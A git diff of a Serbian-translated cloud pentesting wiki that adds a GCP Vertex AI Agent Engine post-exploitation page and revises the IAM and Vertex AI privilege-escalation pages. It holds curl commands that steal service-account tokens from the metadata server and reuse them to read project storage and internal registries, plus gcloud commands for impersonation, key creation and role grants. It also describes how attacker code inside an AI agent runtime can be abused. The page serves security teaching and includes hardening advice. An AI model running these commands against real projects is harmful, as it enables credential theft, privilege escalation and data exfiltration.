diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md new file mode 100644 index 000000000..28a6854a7 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -0,0 +1,271 @@ +# GCP - Vertex AI Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Vertex AI Agent Engine / Reasoning Engine + +Ova stranica se fokusira na workload-e Vertex AI Agent Engine / Reasoning Engine koji pokreću alatke ili kod pod kontrolom napadača unutar Google-managed runtime-a. + +For the general Vertex AI overview check: + +{{#ref}} +../gcp-services/gcp-vertex-ai-enum.md +{{#endref}} + +For classic Vertex AI privesc paths using custom jobs, models, and endpoints check: + +{{#ref}} +../gcp-privilege-escalation/gcp-vertex-ai-privesc.md +{{#endref}} + +### Why this service is special + +Agent Engine uvodi koristan ali opasan obrazac: **developer-supplied code running inside a managed Google runtime with a Google-managed identity**. + +Zanimljive granice poverenja su: + +- **Consumer project**: vaš projekat i vaši podaci. +- **Producer project**: Google-managed project koji upravlja backend servisom. +- **Tenant project**: Google-managed project posvećen instanci agenta koja je deploy-ovana. + +Prema Google-ovoj Vertex AI IAM dokumentaciji, Vertex AI resources mogu koristiti **Vertex AI service agents** kao resource identities, i ti service agents po defaultu mogu imati **read-only access to all Cloud Storage resources and BigQuery data in the project**. Ako kod koji se izvršava unutar Agent Engine može ukrasti runtime credentials, taj podrazumevani pristup postaje odmah zanimljiv. + +### Main abuse path + +1. Deploy-ujte ili modifikujte agenta tako da kod alatke pod kontrolom napadača izvršava unutar managed runtime-a. +2. Upitajte **metadata server** da povratite project identity, service account identity, OAuth scopes i access tokens. +3. Ponovo iskoristite ukradeni token kao **Vertex AI Reasoning Engine P4SA / service agent**. +4. Pivot-ujte u **consumer project** i pročitajte project-wide storage data koju omogućava service agent. +5. Pređite u **producer** i **tenant** okruženja dostupna istim identitetom. +6. Enumerišite interne Artifact Registry pakete i izvucite tenant deployment artefakte kao što su `Dockerfile.zip`, `requirements.txt`, i `code.pkl`. + +Ovo nije samo problem "run code in your own agent". Ključni problem je kombinacija: + +- **metadata-accessible credentials** +- **broad default service-agent privileges** +- **wide OAuth scopes** +- **multi-project trust boundaries hidden behind one managed service** + +## Enumeration + +### Identifikacija Agent Engine resursa + +The resource name format used by Agent Engine is: +```text +projects//locations//reasoningEngines/ +``` +Ako imate token sa pristupom Vertex AI, direktno izlistajte Reasoning Engine API: +```bash +PROJECT_ID= +LOCATION= + +curl -s \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines" +``` +Proverite deployment logove, jer oni mogu leak **interne putanje proizvođača Artifact Registry** koje se koriste tokom pakovanja ili pri pokretanju runtime-a: +```bash +gcloud logging read \ +'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \ +--project \ +--limit 50 \ +--format json +``` +Istraživanje Unit 42 uočilo je interne putanje kao što su: +```text +us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine +us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod +``` +## Krađa kredencijala metapodataka iz runtime-a + +Ako možete izvršavati kod unutar runtime-a agenta, prvo upitajte servis metapodataka: +```bash +curl -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true' +``` +Zanimljiva polja uključuju: + +- identifikatori projekata +- the attached service account / service agent +- OAuth scopes dostupni runtime-u + +Zatim zatražite token za povezani identitet: +```bash +curl -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' +``` +Validiraj token i ispitaj dodeljene scopes: +```bash +TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)" + +curl -s \ +-H 'Content-Type: application/x-www-form-urlencoded' \ +-d "access_token=${TOKEN}" \ +https://www.googleapis.com/oauth2/v1/tokeninfo +``` +> [!WARNING] +> Google je promenio delove ADK deployment workflow-a nakon što je istraživanje prijavljeno, pa se tačni stari deployment snippets možda više ne poklapaju sa aktuelnim SDK-om. Bitna primitiva je i dalje ista: **ako kod pod kontrolom napadača bude izvršen unutar Agent Engine runtime-a, kredencijali izvedeni iz metapodataka postaju dostupni osim ako dodatne kontrole ne blokiraju taj put**. + +## Pivot iz consumer projekta: krađa podataka service-agenta + +Kada je runtime token ukraden, proverite efektivan pristup service agenta u consumer projektu. + +Dokumentovana rizična podrazumevana mogućnost je širok **pristup za čitanje podataka projekta**. Istraživanje Unit 42 je konkretno potvrdilo: + +- `storage.buckets.get` +- `storage.buckets.list` +- `storage.objects.get` +- `storage.objects.list` + +Praktična validacija sa ukradenim tokenom: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b?project=" + +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b//o" + +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b//o/?alt=media" +``` +Ovo pretvara kompromitovanog ili malicioznog agenta u **project-wide storage exfiltration primitive**. + +## Producer-project pivot: interni pristup Artifact Registry + +Isti ukradeni identitet može takođe raditi protiv **Google-managed producer resources**. + +Počnite testiranjem internih repository URI-ja dobijenih iz logova. Zatim enumerišite pakete pomoću Artifact Registry API-ja: +```python +packages_request = artifactregistry_service.projects().locations().repositories().packages().list( +parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension" +) +packages_response = packages_request.execute() +packages = packages_response.get("packages", []) +``` +Ako imate samo sirovi bearer token, pozovite REST API direktno: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://artifactregistry.googleapis.com/v1/projects//locations//repositories/llm-extension/packages" +``` +Ovo je vredno čak i ako je pristup za pisanje blokiran jer otkriva: + +- interni nazivi imidža +- zastareli imidži +- struktura lanca snabdevanja +- inventar paketa/verzija za dalja istraživanja + +For more Artifact Registry background check: + +{{#ref}} +../gcp-services/gcp-artifact-registry-enum.md +{{#endref}} + +## Pivot na projekat zakupca: preuzimanje artefakata deploymenta + +Reasoning Engine deploymenti takođe ostavljaju zanimljive artefakte u **projekatu zakupca** kojim Google kontroliše tu instancu. + +Istraživanje Unit 42 je pronašlo: + +- `Dockerfile.zip` +- `code.pkl` +- `requirements.txt` + +Koristite ukradeni token da enumerišete dostupna skladišta i pretražite artefakte raspoređivanja: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b?project=" +``` +Artefakti iz tenant projekta mogu otkriti: + +- imena internih bucketova +- reference internih image-a +- pretpostavke o pakovanju +- liste zavisnosti +- serijalizovani kod agenta + +Blog je takođe uočio internu referencu poput: +```text +gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip +``` +Čak i kada referencirani restricted bucket nije čitljiv, those leaked paths pomažu mapiranju interne infrastrukture. + +## `code.pkl` i uslovni RCE + +Ako deployment pipeline skladišti izvršno stanje agenta u **Python `pickle`** formatu, tretirajte ga kao cilj visokog rizika. + +Neposredni problem je **poverljivost**: + +- offline deserializacija može otkriti strukturu koda +- format paketa leaks detalje implementacije + +Veći problem je **uslovni RCE**: + +- ako napadač može manipulisati serijalizovanim artefaktom pre deserializacije na strani servisa +- a pipeline kasnije učita taj pickle +- izvršavanje proizvoljnog koda postaje moguće unutar upravljanog runtime okruženja + +Ovo nije samostalni exploit. To je **opasan deserialization sink** koji postaje kritičan kada se kombinuje sa bilo kojim mehanizmom za upis artefakta ili supply-chain tampering primitive. + +## OAuth scopes i Workspace blast radius + +Metadata response takođe otkriva **OAuth scopes** pridružene runtime-u. + +Ako ti scopes budu širi od minimuma potrebnog, ukradeni token može postati koristan protiv više nego samo GCP API-ja. IAM i dalje odlučuje da li je identitet ovlašćen, ali široki scopes povećavaju blast radius i čine kasnije pogrešne konfiguracije opasnijim. + +Ako nađete Workspace-related scopes, proverite da li kompromitovani identitet takođe ima put do Workspace impersonation ili delegated access: + +{{#ref}} +../gcp-to-workspace-pivoting/README.md +{{#endref}} + +## Hardening / detection + +### Preferirajte custom service account umesto podrazumevanog managed identity + +Trenutna Agent Engine dokumentacija podržava postavljanje **custom service account** za deployovanog agenta. To je najčistiji način da se smanji blast radius: + +- uklonite zavisnost od podrazumevanog širokog service agent-a +- dodelite samo minimalne dozvole koje agentu trebaju +- učinite identitet runtime-a revizibilnim i namerno ograničenim + +### Validirajte stvarni pristup service-agent-a + +Pregledajte efektivan pristup Vertex AI service agent-a u svakom projektu gde se koristi Agent Engine: +```bash +gcloud projects get-iam-policy \ +--format json | jq ' +.bindings[] +| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re"))) +' +``` +Proverite da li priloženi identitet može da čita: + +- sve GCS buckets +- BigQuery datasets +- Artifact Registry repositories +- secrets ili interni registri dostupni iz build/deployment workflows + +### Tretirajte kod agenta kao privilegovano izvršavanje koda + +Bilo koji alat/funkcija koji agent izvršava treba pregledati kao da se radi o kodu koji se izvršava na VM-u sa pristupom metadata. U praksi to znači: + +- pregledajte alate agenta zbog direktnog HTTP pristupa metadata endpoint-ima +- pregledajte logove zbog referenci na interne `pkg.dev` repositories i tenant buckets +- pregledajte svaku packaging putanju koja čuva izvršno stanje kao `pickle` + +## Reference + +- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/) +- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy) +- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control) +- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents) +- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp) +- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md index 88e4e3615..71f731d01 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md @@ -12,16 +12,16 @@ Pronađite više informacija o IAM u: ### `iam.roles.update` (`iam.roles.get`) -Napadač sa pomenutim dozvolama će moći da ažurira role dodeljene vama i dodeli vam dodatne dozvole nad drugim resursima, kao što su: +Napadač sa pomenutim dozvolama biće u mogućnosti da izmeni rolu dodeljenu vama i da vam dodeli dodatne dozvole za druge resurse kao što su: ```bash gcloud iam roles update --project --add-permissions ``` -Možete pronaći skriptu za automatizaciju **kreiranja, exploit-a i čišćenja vuln okruženja ovde** i python skriptu za zloupotrebu ove privilegije [**ovde**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Za više informacija pogledajte [**izvorno istraživanje**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Možete pronaći skriptu koja automatizuje **kreiranje, eksploataciju i čišćenje ranjivog okruženja ovde** i python skriptu za zloupotrebu ove privilegije [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ```bash gcloud iam roles update --project --add-permissions ``` ### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy` -Permisija `iam.roles.create` omogućava kreiranje prilagođenih uloga u projektu/organizaciji. U rukama napadača, ovo je opasno jer im omogućava da definišu nove skupove dozvola koje kasnije mogu biti dodeljene entitetima (na primer, koristeći `iam.serviceAccounts.setIamPolicy` dozvolu) sa ciljem eskalacije privilegija. +Dozvola `iam.roles.create` omogućava kreiranje prilagođenih uloga u projektu/organizaciji. U rukama napadača, ovo je opasno zato što im omogućava da definišu nove skupove dozvola koje se kasnije mogu dodeliti entitetima (na primer, koristeći dozvolu `iam.serviceAccounts.setIamPolicy`) sa ciljem escalating privileges. ```bash gcloud iam roles create \ --project= \ @@ -31,32 +31,38 @@ gcloud iam roles create \ ``` ### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`) -An attacker sa pomenutim dozvolama će moći da **zahteva access token koji pripada Service Account-a**, tako da je moguće zatražiti access token Service Account-a koji ima više privilegija od našeg. +Napadač sa pomenutim dozvolama moći će da **zatraži access token koji pripada Service Account-u**, pa je moguće dobiti access token Service Account-a sa većim privilegijama od naših. + +Za **resource-driven** varijantu u kojoj kod pod napadačevom kontrolom ukrade **managed Vertex AI Agent Engine runtime token** iz metadata service i ponovo ga iskoristi kao Vertex AI service agent, pogledajte: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} ```bash gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \ auth print-access-token ``` -Možete pronaći skriptu koja automatizuje [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Možete pronaći skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) i python skriptu za zloupotrebu ove privilegije [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccountKeys.create` -Napadač sa pomenutim dozvolama će moći da **create a user-managed key for a Service Account**, što će nam omogućiti pristup GCP-u kao taj Service Account. +Napadač sa pomenutim permisijama će moći da **kreira korisnički upravljani ključ za Service Account**, što će nam omogućiti da pristupimo GCP kao taj Service Account. ```bash gcloud iam service-accounts keys create --iam-account /tmp/key.json gcloud auth activate-service-account --key-file=sa_cred.json ``` -Možete pronaći skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) i python skriptu za zloupotrebu ove privilegije [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Možete pronaći skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). -Imajte na umu da **`iam.serviceAccountKeys.update` won't work to modify the key** SA, jer je za to potrebna i permisija `iam.serviceAccountKeys.create`. +Imajte na umu da **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA because to do that the permissions `iam.serviceAccountKeys.create` is also needed. ### `iam.serviceAccounts.implicitDelegation` -Ukoliko imate dozvolu **`iam.serviceAccounts.implicitDelegation`** nad Service Account-om koji ima dozvolu **`iam.serviceAccounts.getAccessToken`** nad trećim Service Account-om, onda možete upotrebiti implicitDelegation da **kreirate token za taj treći Service Account**. Evo dijagrama koji pomaže da se objasni. +Ako imate dozvolu **`iam.serviceAccounts.implicitDelegation`** na jednom Service Account-u koji ima dozvolu **`iam.serviceAccounts.getAccessToken`** na trećem Service Account-u, onda možete koristiti implicitDelegation da **kreirate token za taj treći Service Account**. Evo dijagrama koji pomaže da se objasni. ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png) -Imajte na umu da prema [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacija `gcloud` radi samo za generisanje tokena koristeći metodu [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Dakle, ovde imate kako da dobijete token koristeći API direktno: +Imajte na umu da, prema [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacija `gcloud` radi samo za generisanje tokena koristeći metodu [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Dakle, evo kako dobiti token koristeći API direktno: ```bash curl -X POST \ 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \ @@ -67,23 +73,23 @@ curl -X POST \ "scope": ["https://www.googleapis.com/auth/cloud-platform"] }' ``` -Možete pronaći skriptu za automatizaciju the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signBlob` -Napadač sa pomenutim privilegijama moći će da **potpiše proizvoljne payloads u GCP**. Dakle biće moguće **kreirati nepotpisani JWT od SA i potom ga poslati kao blob da bi JWT bio potpisan** od strane ciljanog SA. Za više informacija [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). +Napadač sa navedenim dozvolama može da **potpiše proizvoljne payloads u GCP**. Dakle, biće moguće **kreirati nepotpisani JWT od SA i poslati ga kao blob da bi ga ciljani SA potpisao**. Za više informacija [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). -Možete pronaći skriptu za automatizaciju the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) i [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signJwt` -Napadač sa pomenutim privilegijama moći će da **potpiše ispravno formirane JSON web tokene (JWTs)**. Razlika u odnosu na prethodni metod je što **umesto da google potpiše blob koji sadrži JWT, koristimo signJWT metodu koja već očekuje JWT**. To ga čini lakšim za upotrebu ali možete potpisivati samo JWT umesto proizvoljnih bajtova. +Napadač sa navedenim dozvolama može da **potpiše pravilno formirane JSON web tokene (JWTs)**. Razlika u odnosu na prethodni metod je što **umesto da nateramo google da potpiše blob koji sadrži JWT, koristimo signJWT metodu koja već očekuje JWT**. To olakšava upotrebu, ali možete potpisivati samo JWT-e umesto proizvoljnih bajtova. -Možete pronaći skriptu za automatizaciju the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.setIamPolicy` -Napadač sa pomenutim privilegijama moći će da **dodaje IAM policies na service accounts**. Možete to zloupotrebiti da **dodelite sebi** permisije koje su vam potrebne da se lažno predstavite kao service account. U sledećem primeru dodeljujemo sebi ulogu `roles/iam.serviceAccountTokenCreator` nad interesantnim SA: +Napadač sa navedenim dozvolama može da **doda IAM politike na service accounts**. To možete zloupotrebiti da sebi **dodelite** dozvole potrebne da se predstavite kao taj service account. U sledećem primeru dodeljujemo sebi rolu `roles/iam.serviceAccountTokenCreator` nad interesantnim SA: ```bash gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ --member="user:username@domain.com" \ @@ -98,41 +104,41 @@ You can find a script to automate the [**creation, exploit and cleaning of a vul ### `iam.serviceAccounts.actAs` -Dozvola **iam.serviceAccounts.actAs** je kao dozvola **iam:PassRole** iz AWS-a. Neophodna je za izvršavanje zadataka, kao što je pokretanje Compute Engine instance, jer omogućava da "actAs" Service Account, što obezbeđuje sigurno upravljanje privilegijama. Bez nje korisnici mogu dobiti neprimeren pristup. Dodatno, eksploatisanje **iam.serviceAccounts.actAs** uključuje različite metode, od kojih svaka zahteva skup dozvola, za razliku od drugih metoda koje zahtevaju samo jednu. +The **iam.serviceAccounts.actAs permission** is like the **iam:PassRole permission from AWS**. It's essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to "actAs" a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the **iam.serviceAccounts.actAs** involves various methods, each requiring a set of permissions, contrasting with other methods that need just one. #### Service account impersonation -Impersonating a service account can be very useful to **obtain new and better privileges**. Postoje tri načina na koja možete [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): +Lažno predstavljanje servisnog naloga može biti veoma korisno za **dohvatanje novih i boljih privilegija**. Postoje tri načina na koja možete [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): -- Authentication **using RSA private keys** (pokazano iznad) -- Authorization **using Cloud IAM policies** (pokazano ovde) -- **Deploying jobs on GCP services** (više primenljivo na kompromitaciju korisničkog naloga) +- Authentication **using RSA private keys** (covered above) +- Authorization **using Cloud IAM policies** (covered here) +- **Deploying jobs on GCP services** (more applicable to the compromise of a user account) ### `iam.serviceAccounts.getOpenIdToken` -Napadač sa pomenutim dozvolama moći će da generiše OpenID JWT. Oni se koriste za potvrđivanje identiteta i ne nose nužno implicitnu autorizaciju nad resursom. +Napadač sa navedenim permisijama može generisati OpenID JWT. Oni se koriste za potvrdu identiteta i ne moraju nužno nositi implicitnu autorizaciju za neki resurs. -Prema ovom [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), neophodno je navesti audience (servis na kojem želite da koristite token za autentikaciju) i dobićete JWT potpisan od strane Google-a koji označava service account i audience JWT-a. +Prema ovom [**interesantnom postu**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), potrebno je navesti the audience (servis na koji želite da koristite token za autentikaciju) i dobićete JWT potpisan od strane google koji označava the service account i the audience JWT-a. -Možete generisati OpenIDToken (ako imate pristup) pomoću: +OpenIDToken možete generisati (ako imate pristup) pomoću: ```bash # First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA gcloud auth activate-service-account --key-file=/path/to/svc_account.json # Then, generate token gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com ``` -Zatim ga možete jednostavno koristiti za pristup servisu pomoću: +Zatim ga jednostavno možete koristiti za pristup servisu pomoću: ```bash curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app ``` -Neke usluge koje podržavaju autentifikaciju putem ovakvih tokena su: +Neki servisi koji podržavaju autentifikaciju putem ovog tipa tokena su: - [Google Cloud Run](https://cloud.google.com/run/) - [Google Cloud Functions](https://cloud.google.com/functions/docs/) - [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto) -- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC) +- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (ako koristite Google OIDC) -Primer kako da kreirate OpenID token u ime servisnog naloga možete pronaći [**ovde**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). +Možete pronaći primer kako da kreirate OpenID token u ime service account-a [**ovde**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). ## Reference diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md index 2989c28e0..a950afa63 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -10,13 +10,19 @@ Za više informacija o Vertex AI pogledajte: ../gcp-services/gcp-vertex-ai-enum.md {{#endref}} +Za **Agent Engine / Reasoning Engine** post-exploitation puteve koji koriste runtime metadata service, podrazumevani Vertex AI service agent, i cross-project pivoting u consumer / producer / tenant resources, proverite: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} + ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` -Sa permisijom `aiplatform.customJobs.create` i `iam.serviceAccounts.actAs` na ciljanom service account-u, napadač može **izvršiti proizvoljan kod sa povišenim privilegijama**. +Sa `aiplatform.customJobs.create` permisijom i `iam.serviceAccounts.actAs` na ciljnom service account-u, attacker može **execute arbitrary code with elevated privileges**. -Ovo se postiže kreiranjem custom training job-a koji pokreće kod pod kontrolom napadača (bilo custom container ili Python package). Navođenjem privilegovanog service account-a pomoću `--service-account` flag-a, job nasleđuje dozvole tog service account-a. Job se izvršava na Google-managed infrastructure i ima pristup GCP metadata service-u, što omogućava izdvajanje OAuth access token-a service account-a. +Ovo funkcioniše kreiranjem custom training job-a koji pokreće attacker-controlled code (bilo custom container ili Python package). Navođenjem privileged service account preko `--service-account` flag-a, job nasleđuje permisije tog service account-a. Job se izvršava na Google-managed infrastructure sa pristupom GCP metadata service, što omogućava ekstrakciju OAuth access token-a service account-a. -**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljanog service account-a. +**Impact**: Full privilege escalation to the target service account's permissions.
@@ -49,7 +55,7 @@ gcloud ai custom-jobs create \
-Alternativa: Izdvoji token iz logova +Alternativa: Ekstrahovanje tokena iz logova ```bash # Method 3: View in logs (less reliable, logs may be delayed) gcloud ai custom-jobs create \ @@ -68,14 +74,14 @@ gcloud ai custom-jobs stream-logs --region= ### `aiplatform.models.upload`, `aiplatform.models.get` -Ova tehnika postiže eskalaciju privilegija tako što se otpremi model u Vertex AI, a zatim se taj model iskoristi za izvršavanje koda sa povišenim privilegijama putem endpoint deployment-a ili batch prediction job-a. +Ova tehnika postiže eskalaciju privilegija tako što se otpremi model na Vertex AI, a zatim iskoristi taj model za izvršavanje koda sa povišenim privilegijama preko endpoint deployment-a ili batch prediction job-a. > [!NOTE] -> Da biste izveli ovaj napad, potrebno je imati world readable GCS bucket ili kreirati novi za otpremu model artefakata. +> Za izvođenje ovog napada potrebno je imati GCS bucket koji je dostupan svima za čitanje ili kreirati novi za otpremu artifakata modela.
